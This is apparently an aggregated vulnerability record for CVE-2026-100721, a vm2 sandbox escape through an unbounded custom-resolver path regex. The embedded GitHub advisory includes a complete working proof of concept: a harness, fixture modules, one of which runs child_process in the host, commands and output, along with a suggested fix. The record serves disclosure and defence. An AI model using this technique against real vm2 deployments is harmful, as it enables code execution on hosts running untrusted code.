{"id":"GHSA-c9wr-qm7p-p6vc","revision":null,"records":[{"revision":"e3ce0bdc14544a6490c3d42462fe0ff3","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-100721","aliases":[],"title":"vm2 before 3.12.2 Authorization Bypass via Custom Resolver","description":"vm2 before 3.12.2 contains an authorization bypass in the NodeVM external-module resolver. When an embedder configures `require.external` with a custom resolver (and `context: 'host'`), `LegacyResolver.customResolve` in lib/resolver-compat.js records the resolved module directory in `this.externals` as `new RegExp('^' + escapeRegExp(resolvedPath))`, without requiring a path separator or end-of-string boundary. Untrusted guest code can therefore require the allowlisted module (e.g. `foo`) and then require the absolute path of a non-allowlisted sibling whose path merely shares the resolved prefix (e.g. `.../node_modules/foo2/index.js`); the sibling passes `isPathAllowedForModule` and is loaded through `hostRequire`, so its top-level code runs in the host process before the exports are wrapped with `vm.readonly`, resulting in a sandbox escape and arbitrary code execution in the host context.","state":0,"publishedAt":"2026-09-27T01:28:28.596+00:00","modifiedAt":"2026-09-28T16:51:10.611+00:00","affected":[{"ecosystem":"Vendor product","name":"vm2","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"patriksimek\",\n                    \"product\": \"vm2\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:npm/vm2\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThan\": \"3.12.2\"\n                        },\n                        {\n                            \"version\": \"3.12.2\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":9.5,"severity":"CRITICAL"},{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","score":9,"severity":"CRITICAL"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-5h3f-q97h-ccvc","https://github.com/patriksimek/vm2/commit/6ac3916da84e060c403e407b6b6318fcc66b0e72","https://github.com/patriksimek/vm2/commit/ab4ee7d803e8c80155e9eb3672226bddbca4aa9c","https://github.com/patriksimek/vm2/commit/91034466bfb7f56b95fd48083ec6ca36d058f164","https://www.vulncheck.com/advisories/vm2-before-3.12.2-authorization-bypass-via-custom-resolver"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-100721","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-100721","identifiers":["CVE-2026-100721"]},"retained":false,"historicalAffected":[]},{"revision":"9f057654c29545fa94eeaf83156f302f","observedAt":"2026-11-11T05:27:42.92+00:00","statement":{"source":"euvd","id":"EUVD-2026-87858","aliases":["CVE-2026-100721","GHSA-c9wr-qm7p-p6vc","GHSA-5h3f-q97h-ccvc"],"title":"vm2 before 3.12.2 contains an authorization bypass in the NodeVM external-module resolver. When an embedder configures `require.external` with a custom resolver (and `context: 'host'`), `LegacyResolver.customResolve` in lib/resolver-compat.…","description":"vm2 before 3.12.2 contains an authorization bypass in the NodeVM external-module resolver. When an embedder configures `require.external` with a custom resolver (and `context: 'host'`), `LegacyResolver.customResolve` in lib/resolver-compat.js records the resolved module directory in `this.externals` as `new RegExp('^' + escapeRegExp(resolvedPath))`, without requiring a path separator or end-of-string boundary. Untrusted guest code can therefore require the allowlisted module (e.g. `foo`) and then require the absolute path of a non-allowlisted sibling whose path merely shares the resolved prefix (e.g. `.../node_modules/foo2/index.js`); the sibling passes `isPathAllowedForModule` and is loaded through `hostRequire`, so its top-level code runs in the host process before the exports are wrapped with `vm.readonly`, resulting in a sandbox escape and arbitrary code execution in the host context.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":9.5,"severity":null}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-5h3f-q97h-ccvc","https://github.com/patriksimek/vm2/commit/6ac3916da84e060c403e407b6b6318fcc66b0e72","https://github.com/patriksimek/vm2/commit/ab4ee7d803e8c80155e9eb3672226bddbca4aa9c","https://github.com/patriksimek/vm2/commit/91034466bfb7f56b95fd48083ec6ca36d058f164","https://www.vulncheck.com/advisories/vm2-before-3.12.2-authorization-bypass-via-custom-resolver"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-87858","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 27, 2026, 1:28:28 AM","dateUpdated":"Sep 28, 2026, 4:51:10 PM"},"relatedAdvisories":[{"id":"RHSA-2026:88200","title":"Red Hat Security Advisory: Ansible automation portal Red Hat Enterprise Linux Images","vulnerabilityIds":["CVE-2026-9496","CVE-2026-19553","CVE-2026-85393","CVE-2026-87776","CVE-2026-89011","CVE-2026-100721"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-87858","identifiers":["EUVD-2026-87858","CVE-2026-100721","GHSA-c9wr-qm7p-p6vc","GHSA-5h3f-q97h-ccvc"]},"retained":false,"historicalAffected":[]},{"revision":"63d0ef9204d8450b87aa990de3c94d0d","observedAt":"2026-10-25T04:17:26.915+00:00","statement":{"source":"nvd","id":"CVE-2026-100721","aliases":[],"title":"vm2 before 3.12.2 contains an authorization bypass in the NodeVM external-module resolver. When an embedder configures `require.external` with a custom resolver (and `context: 'host'`), `LegacyResolver.customResolve` in lib/resolver-compat.…","description":"vm2 before 3.12.2 contains an authorization bypass in the NodeVM external-module resolver. When an embedder configures `require.external` with a custom resolver (and `context: 'host'`), `LegacyResolver.customResolve` in lib/resolver-compat.js records the resolved module directory in `this.externals` as `new RegExp('^' + escapeRegExp(resolvedPath))`, without requiring a path separator or end-of-string boundary. Untrusted guest code can therefore require the allowlisted module (e.g. `foo`) and then require the absolute path of a non-allowlisted sibling whose path merely shares the resolved prefix (e.g. `.../node_modules/foo2/index.js`); the sibling passes `isPathAllowedForModule` and is loaded through `hostRequire`, so its top-level code runs in the host process before the exports are wrapped with `vm.readonly`, resulting in a sandbox escape and arbitrary code execution in the host context.","state":0,"publishedAt":"2026-09-27T02:17:17.547+00:00","modifiedAt":"2026-09-28T17:17:46.057+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · disclosure@vulncheck.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":9.5,"severity":"CRITICAL"},{"system":"CVSS 3.1 · disclosure@vulncheck.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","score":9,"severity":"CRITICAL"}],"references":["https://github.com/patriksimek/vm2/commit/6ac3916da84e060c403e407b6b6318fcc66b0e72","https://github.com/patriksimek/vm2/commit/91034466bfb7f56b95fd48083ec6ca36d058f164","https://github.com/patriksimek/vm2/commit/ab4ee7d803e8c80155e9eb3672226bddbca4aa9c","https://github.com/patriksimek/vm2/security/advisories/GHSA-5h3f-q97h-ccvc","https://www.vulncheck.com/advisories/vm2-before-3.12.2-authorization-bypass-via-custom-resolver"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100721","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-863"],"productCriteria":[],"sourceDates":{"published":"2026-09-27T02:17:17.547","lastModified":"2026-09-28T17:17:46.057"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-100721","identifiers":["CVE-2026-100721"]},"retained":false,"historicalAffected":[]},{"revision":"f12c3c9078b945f084581f54e7e46f41","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-5h3f-q97h-ccvc","aliases":["CVE-2026-100721"],"title":"vm2: NodeVM custom resolution bypasses external path boundaries","description":"## Summary\n\nAt source revision `91034466bfb7f56b95fd48083ec6ca36d058f164` of vm2 3.11.8, an untrusted `NodeVM` guest can turn one allowlisted custom-resolved module into authorization for a separate file whose path merely shares the resolved path's string prefix. `LegacyResolver.customResolve` stores the resolved path in `this.externals` as `^<path>` without an end or separator boundary; a later absolute require of a sibling such as `foo2/index.js` therefore passes the external check and is loaded through `hostRequire` when the configured context is `host`. The decisive attack loaded `foo` as `FOO_OK` and then executed the prefix-sharing sibling, which returned `PREFIX_PWN` after invoking `child_process`; an otherwise identical control denied the sibling with `ENOTFOUND`.\n\n## Technical Details\n\nThe affected configuration is a documented `NodeVM` use in which the embedder sets `require.external` to `{modules: ['foo'], transitive: false}`, supplies a custom resolver that returns the `foo` directory, sets a root directory, and uses `context: 'host'`. The guest controls the `require` specifiers and requests the allowlisted bare name before requesting the absolute path of the prefix-sharing sibling. The test entry point is deliberately outside the configured root so ordinary `node_modules` lookup misses and the custom resolver is consulted.\n\nThe source-to-sink path is:\n\n- `NodeVM.run` executes guest code and creates the module-specific `require` function at `lib/nodevm.js:516-575`.\n- `DefaultResolver.resolveFull` searches normal locations and then dispatches a miss to `customResolve` at `lib/resolver.js:227-316`.\n- `LegacyResolver.customResolve` checks the bare specifier against the external cache, calls the embedder's resolver, and appends an authorization regular expression at `lib/resolver-compat.js:266-291`.\n- `isPathAllowedForModule` falls back to `this.externals.some(regex => regex.test(path))` at `lib/resolver-compat.js:193-215`. The dynamically appended expression `^/…/node_modules/foo` also matches `/…/node_modules/foo2/index.js` because no path separator or end-of-string condition is required.\n- `loadJS` uses `this.hostRequire(filename)` for a host-context file and only wraps the returned exports with `vm.readonly` at `lib/resolver-compat.js:255-263`. Top-level effects of the required file therefore occur in the host process before the exports are wrapped.\n\nThe relevant current code has the same flaw for both supported custom-resolver return shapes:\n\n```js\nif (typeof resolved === 'string') {\n\tthis.externals.push(new RegExp('^' + escapeRegExp(resolved)));\n\treturn this.loadAsFileOrDirectory(resolved, extList);\n}\nconst {module=x, path: resolvedPath} = resolved;\nthis.externals.push(new RegExp('^' + escapeRegExp(resolvedPath)));\nreturn this.loadNodeModules(module, [resolvedPath], extList);\n```\n\nThe existing anchored bare-specifier matcher and the separator-aware `mod.path` check address different authorization states. They do not constrain the new `this.externals` entries created after custom resolution. The violated invariant is that a resolved allowlisted path may authorize only that exact path and its descendants after a path separator, never a sibling selected by raw string prefix.\n\n## PoV\n\nThe minimal guest operation is to load the configured bare name and then request the separate absolute sibling path:\n\n```js\nconst foo = require('foo');\nmodule.exports = {\n\tfoo,\n\tsibling: require('/tmp/vm2-prefix-case/node_modules/foo2/index.js')\n};\n```\n\nThe corresponding embedder configuration is:\n\n```js\nconst vm = new NodeVM({\n\trequire: {\n\t\texternal: {modules: ['foo'], transitive: false},\n\t\troot: '/tmp/vm2-prefix-case',\n\t\tcontext: 'host',\n\t\tresolve(name) {\n\t\t\treturn name === 'foo'\n\t\t\t\t? '/tmp/vm2-prefix-case/node_modules/foo'\n\t\t\t\t: undefined;\n\t\t}\n\t}\n});\n```\n\nThe sibling is not itself allowlisted. Its successful load is the authorization violation; the `child_process` call in its top-level code demonstrates that the file ran in the host context rather than as guest-only code.\n\n## PoC\n\nFrom a checkout of the repository, use the pinned revision and install its declared dependencies without lifecycle scripts:\n\n```sh\ngit checkout 91034466bfb7f56b95fd48083ec6ca36d058f164\nnpm ci --ignore-scripts\n```\n\nSave the following harness as `/tmp/custom-resolve-prefix.js`:\n\n```js\n'use strict';\n\nconst path = require('path');\nconst { NodeVM } = require(process.cwd() + '/lib/main.js');\n\nconst [, , mode, fooIndexPath, siblingPath] = process.argv;\nconst fooDir = path.dirname(fooIndexPath);\nconst root = path.resolve(fooDir, '../..');\nconst entry = path.join(path.dirname(root), 'entry.js');\nlet customCalls = 0;\n\nfunction runGuest(code) {\n\treturn new NodeVM({\n\t\trequire: {\n\t\t\texternal: {modules: ['foo'], transitive: false},\n\t\t\troot,\n\t\t\tcontext: 'host',\n\t\t\tresolve(moduleName) {\n\t\t\t\tif (moduleName === 'foo') {\n\t\t\t\t\tcustomCalls++;\n\t\t\t\t\treturn fooDir;\n\t\t\t\t}\n\t\t\t\treturn undefined;\n\t\t\t}\n\t\t}\n\t}).run(code, entry);\n}\n\nconst record = {mode, result: 'invalid'};\n\ntry {\n\tif (mode === 'candidate') {\n\t\tconst output = runGuest(`\n\t\t\tconst foo = require('foo');\n\t\t\tmodule.exports = {foo, sibling: require(${JSON.stringify(siblingPath)})};\n\t\t`);\n\t\trecord.output = output;\n\t\tif (output && output.foo === 'FOO_OK' && output.sibling === 'PREFIX_PWN') {\n\t\t\trecord.result = 'violation';\n\t\t\trecord.signal = 'prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN';\n\t\t} else {\n\t\t\trecord.result = 'pass';\n\t\t}\n\t} else if (mode === 'control') {\n\t\ttry {\n\t\t\trunGuest(`module.exports = require(${JSON.stringify(siblingPath)});`);\n\t\t\trecord.result = 'violation';\n\t\t\trecord.signal = 'prefix-sharing sibling loaded before custom resolution';\n\t\t} catch (error) {\n\t\t\trecord.result = 'pass';\n\t\t\trecord.denial = String(error && (error.code || error.message) || error);\n\t\t}\n\t} else {\n\t\trecord.error = 'unknown mode';\n\t}\n} catch (error) {\n\trecord.result = 'invalid';\n\trecord.error = String(error && (error.stack || error.message) || error);\n}\n\nrecord.customCalls = customCalls;\nconsole.log(JSON.stringify(record));\n```\n\nCreate the two neutral fixture modules. The first is the configured module; the second is a separate sibling whose name shares the first module's path prefix:\n\n```sh\nmkdir -p /tmp/vm2-prefix-case/node_modules/foo /tmp/vm2-prefix-case/node_modules/foo2\ncat > /tmp/vm2-prefix-case/node_modules/foo/index.js <<'EOF'\n'use strict';\nmodule.exports = 'FOO_OK';\nEOF\ncat > /tmp/vm2-prefix-case/node_modules/foo2/index.js <<'EOF'\n'use strict';\nmodule.exports = require('child_process').execFileSync(\n\tprocess.execPath,\n\t['-e', \"process.stdout.write('PREFIX_PWN')\"]\n).toString();\nEOF\n```\n\nRun the attack and then the negative control from the repository checkout:\n\n```sh\nnode /tmp/custom-resolve-prefix.js candidate \\\n  /tmp/vm2-prefix-case/node_modules/foo/index.js \\\n  /tmp/vm2-prefix-case/node_modules/foo2/index.js\nnode /tmp/custom-resolve-prefix.js control \\\n  /tmp/vm2-prefix-case/node_modules/foo/index.js \\\n  /tmp/vm2-prefix-case/node_modules/foo2/index.js\n```\n\nThe decisive results were:\n\n```text\n{\"mode\":\"candidate\",\"result\":\"violation\",\"output\":{\"foo\":\"FOO_OK\",\"sibling\":\"PREFIX_PWN\"},\"signal\":\"prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN\",\"customCalls\":1}\n{\"mode\":\"control\",\"result\":\"pass\",\"denial\":\"ENOTFOUND\",\"customCalls\":0}\n```\n\nBoth executions completed successfully with return code 0 in an offline `node:bookworm` runtime. The attack reached `LegacyResolver.customResolve` once, while the control reached it zero times. The `foo2` fixture can use `child_process` only because the target loaded it through the host-context path; the same absolute request without the preceding custom resolution was denied.\n\n## Impact\n\nThis is a sandbox authorization bypass crossing from untrusted guest JavaScript into the host process. A service that runs attacker-controlled JavaScript in a `NodeVM` with a custom external resolver can be induced to load an existing prefix-sharing host file that was not allowlisted, despite `transitive: false`. The demonstrated sibling executes `child_process` at top level and returns a host-generated marker, showing host code execution rather than a guest-only exception or denial of service. The exploit requires the application to use this custom-resolver/host-context configuration and for a readable prefix-sharing file to exist; the tested claim is limited to that deployment shape and does not assert that every vm2 installation is affected. This is CWE-863 (Incorrect Authorization), with CVSS 3.1 `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`: after the stated deployment preconditions, the guest needs only low-complexity module requests, no additional host privilege or user interaction, and the impact crosses into host confidentiality, integrity, and availability.\n\n## Suggested Fix\n\nMake every custom-resolver-derived authorization entry path-boundary aware. The smallest correction is to require either the exact resolved path or a path separator followed by a descendant, for both the string result and the `{path: resolvedPath}` result:\n\n```js\nconst externalPath = value => new RegExp(\n\t'^' + escapeRegExp(value) + '(?:[\\\\/].*)?$'\n);\n```\n\nUse `externalPath(resolved)` at the string-return branch and `externalPath(resolvedPath)` at the object-return branch. A path-aware canonical comparison shared with `isPathAllowedForModule` is preferable if the resolver filesystem supports it, because it can consistently handle separators and normalization. The fix must not rely only on the bare-specifier matcher: the bypass occurs after that matcher has already accepted `foo` and after `customResolve` has appended a new regex.\n\nAdd regression coverage that configures `external: {modules: ['foo'], transitive: false}`, a custom resolver returning `foo`, and `context: 'host'`; it should require `foo` and then assert that the absolute `foo2/index.js` sibling is denied and cannot emit a host marker. Keep a negative-control case that requests the sibling without first resolving `foo`, and add positive cases for the exact resolved file and legitimate descendants. Exercise both custom-resolver return forms so neither `this.externals.push` branch can reintroduce the prefix authorization.\n\n## Affected Package/Versions\n\n- Package: `vm2` in the npm ecosystem.\n- Tested package version: `3.11.8`, at source revision `91034466bfb7f56b95fd48083ec6ca36d058f164`.\n- Affected version range tested: `pinned-revision-91034466bfb7f56b95fd48083ec6ca36d058f164`.\n- Current head: the pinned revision is vulnerable, as shown by the attack/control pair above.\n- Patched versions: none identified by the tested evidence.\n- Only the pinned revision was tested; no broader historical range or fixed revision or release is claimed.\n\n## Advisory History\n\nThe closest public match is [GHSA-7q3f-wx44-378m](https://github.com/patriksimek/vm2/security/advisories/GHSA-7q3f-wx44-378m), titled “External module allowlist uses a raw prefix test, so a prefix-sharing sibling package is treated as allowlisted.” That advisory concerns the `mod.path.startsWith(path)` logic in `isPathAllowedForModule` for a relative require from an allowlisted package. Its public fix is [commit `6ac3916da84e060c403e407b6b6318fcc66b0e72`](https://github.com/patriksimek/vm2/commit/6ac3916da84e060c403e407b6b6318fcc66b0e72), which adds a path-boundary check to `isPathAllowedForModule` while leaving the filename-side `this.externals` fallback unchanged. A related public resolver fix is [commit `ab4ee7d803e8c80155e9eb3672226bddbca4aa9c`](https://github.com/patriksimek/vm2/commit/ab4ee7d803e8c80155e9eb3672226bddbca4aa9c), which rejects `..` traversal in allowlisted subpaths and explicitly leaves the filename-side `this.externals` matcher untouched. This finding has a separate fix surface: the current `customResolve` function appends new raw-prefix regular expressions to `this.externals` at both custom-resolver return branches, which those public fixes do not describe or patch.\n\n[GHSA-c48m-32m9-vx93](https://github.com/patriksimek/vm2/security/advisories/GHSA-c48m-32m9-vx93), “vm2 Custom Module Resolver Can Bypass the External Package Allowlist by Loading a Colliding Host Package,” is the closest custom-resolver advisory. It fixes the specifier-side `externalCache` matcher and rejects `..` segments before the custom resolver is consulted. This finding reaches a different, residual branch after successful custom resolution: `customResolve` appends a filename-side raw-prefix regular expression to `this.externals`, allowing a prefix-sharing absolute sibling. Neither GHSA-c48m nor GHSA-7q3f patches that branch. Repository issue, pull-request, and commit history contains no matching fix for it. No patched version is claimed because only the pinned revision was tested.","state":0,"publishedAt":"2026-10-05T23:24:29+00:00","modifiedAt":"2026-10-05T23:30:04.6335307+00:00","affected":[{"ecosystem":"npm","name":"vm2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.12.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-5h3f-q97h-ccvc","https://nvd.nist.gov/vuln/detail/CVE-2026-100721","https://github.com/patriksimek/vm2/commit/6ac3916da84e060c403e407b6b6318fcc66b0e72","https://github.com/patriksimek/vm2/commit/91034466bfb7f56b95fd48083ec6ca36d058f164","https://github.com/patriksimek/vm2/commit/ab4ee7d803e8c80155e9eb3672226bddbca4aa9c","https://github.com/patriksimek/vm2/commit/fb4977f6211da6cadffdf1f3a2017a826a21c51f","https://github.com/patriksimek/vm2","https://github.com/patriksimek/vm2/releases/tag/v3.12.2","https://www.vulncheck.com/advisories/vm2-before-3.12.2-authorization-bypass-via-custom-resolver"],"sourceUrl":"https://github.com/advisories/GHSA-5h3f-q97h-ccvc","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-5h3f-q97h-ccvc","identifiers":["GHSA-5h3f-q97h-ccvc","CVE-2026-100721"]},"retained":false,"historicalAffected":[]},{"revision":"84878a2a5feb44a889b688ed74505007","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-c9wr-qm7p-p6vc","aliases":[],"title":"Duplicate Advisory: vm2: NodeVM custom resolution bypasses external path boundaries","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00A0GHSA-5h3f-q97h-ccvc. This link is maintained to preserve external references.\n\n## Original Description\nvm2 before 3.12.2 contains an authorization bypass in the NodeVM external-module resolver. When an embedder configures `require.external` with a custom resolver (and `context: 'host'`), `LegacyResolver.customResolve` in lib/resolver-compat.js records the resolved module directory in `this.externals` as `new RegExp('^' + escapeRegExp(resolvedPath))`, without requiring a path separator or end-of-string boundary. Untrusted guest code can therefore require the allowlisted module (e.g. `foo`) and then require the absolute path of a non-allowlisted sibling whose path merely shares the resolved prefix (e.g. `.../node_modules/foo2/index.js`); the sibling passes `isPathAllowedForModule` and is loaded through `hostRequire`, so its top-level code runs in the host process before the exports are wrapped with `vm.readonly`, resulting in a sandbox escape and arbitrary code execution in the host context.","state":2,"publishedAt":"2026-09-27T03:31:03+00:00","modifiedAt":"2026-10-05T23:30:04.6221611+00:00","affected":[{"ecosystem":"npm","name":"vm2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.12.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-5h3f-q97h-ccvc","https://nvd.nist.gov/vuln/detail/CVE-2026-100721","https://github.com/patriksimek/vm2/commit/6ac3916da84e060c403e407b6b6318fcc66b0e72","https://github.com/patriksimek/vm2/commit/91034466bfb7f56b95fd48083ec6ca36d058f164","https://github.com/patriksimek/vm2/commit/ab4ee7d803e8c80155e9eb3672226bddbca4aa9c","https://www.vulncheck.com/advisories/vm2-before-3.12.2-authorization-bypass-via-custom-resolver"],"sourceUrl":"https://github.com/advisories/GHSA-c9wr-qm7p-p6vc","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-c9wr-qm7p-p6vc","identifiers":["GHSA-c9wr-qm7p-p6vc"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-11T16:59:37.9488152+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-11T16:59:37.9488152+00:00","lastSuccessAt":"2026-11-11T16:59:38.1293575+00:00","error":null,"lastVerifiedAt":"2026-11-11T16:59:38.1293586+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-de3b77103708811b6494d2ff7c979037d73ae579742cd1649a5c765137ae5083-20b9291a59074a85bd9fdbd9e0ff98a8d24930e69329e59e2815bc7b300e21fc","complete":true,"records":424170,"lastAttemptAt":"2026-11-11T16:57:33.0518174+00:00","lastSuccessAt":"2026-11-11T16:57:32.8751677+00:00","error":null,"lastVerifiedAt":"2026-11-11T16:57:33.0518174+00:00","snapshotPublishedAt":"2026-11-11T16:29:39+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-4351c3aec21c46fa943fb5060158bd33","complete":false,"records":13759,"lastAttemptAt":"2026-11-11T17:11:46.90421+00:00","lastSuccessAt":"2026-11-11T17:11:46.897+00:00","error":"8 identifier lookups failed; latest failures include HTTP 403. Other identifiers were checked independently.","lastVerifiedAt":"2026-11-11T17:11:46.897+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13534,"expectedIdentifiers":13813,"failedIdentifiers":8},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-11T16:59:37.9488152+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-11T16:59:37.9488152+00:00","lastSuccessAt":"2026-11-11T16:59:38.1301472+00:00","error":null,"lastVerifiedAt":"2026-11-11T16:59:38.1301474+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-9169816ed33d4259981dbb50309d6730","complete":true,"records":13753,"lastAttemptAt":"2026-11-11T16:59:52.0562868+00:00","lastSuccessAt":"2026-11-11T16:59:52.052+00:00","error":null,"lastVerifiedAt":"2026-11-11T16:59:52.052+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13813,"expectedIdentifiers":13813,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-11T16:59:37.8157847+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-11T16:59:37.8157847+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-11T16:57:33.208402+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-11T16:57:33.208402+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-baa8362b4daf9e5f39d5563775a55935e7b442c0735d33274a921579ce4a0d66","complete":true,"records":3093,"lastAttemptAt":"2026-11-11T16:59:37.9166712+00:00","lastSuccessAt":"2026-11-11T13:00:02.5446881+00:00","error":null,"lastVerifiedAt":"2026-11-11T16:59:37.9166712+00:00","snapshotPublishedAt":"2026-11-11T12:47:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-1443070691f712910eadc1ced449c2937aded59c9a578abda33e86dec787c46b","complete":true,"records":231689,"lastAttemptAt":"2026-11-11T16:59:37.6826554+00:00","lastSuccessAt":"2026-11-11T16:59:36.20998+00:00","error":null,"lastVerifiedAt":"2026-11-11T16:59:37.6826554+00:00","snapshotPublishedAt":"2026-11-11T16:33:19+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}